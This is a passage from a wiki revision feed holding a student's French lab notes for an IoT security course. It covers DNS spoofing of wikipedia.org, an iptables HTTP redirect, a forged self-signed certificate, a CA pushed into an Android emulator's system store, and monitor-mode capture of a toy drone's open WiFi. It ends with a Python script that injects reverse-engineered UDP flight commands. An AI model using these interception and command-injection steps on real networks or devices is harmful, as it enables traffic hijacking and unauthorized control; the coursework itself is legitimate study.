        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela nous a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drône réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut-être un bouton pour pouvoir decoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;br /&gt;
J'ai refait les captures de paquets sur wireshark :&lt;br /&gt;
[[Fichier:Wireshark2.png|néant|vignette|999x999px]]&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11176</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11176"/>
		<updated>2026-01-13T17:01:47Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Deuxième tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela nous a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drône réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut-être un bouton pour pouvoir decoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;br /&gt;
J'ai refait les captures de paquets sur wireshark :&lt;br /&gt;
[[Fichier:Wireshark2.png|néant|vignette|869x869px]]&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Wireshark2.png&amp;diff=11175</id>
		<title>Fichier:Wireshark2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Wireshark2.png&amp;diff=11175"/>
		<updated>2026-01-13T17:00:31Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;repos&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11174</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11174"/>
		<updated>2026-01-13T16:55:17Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Première tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
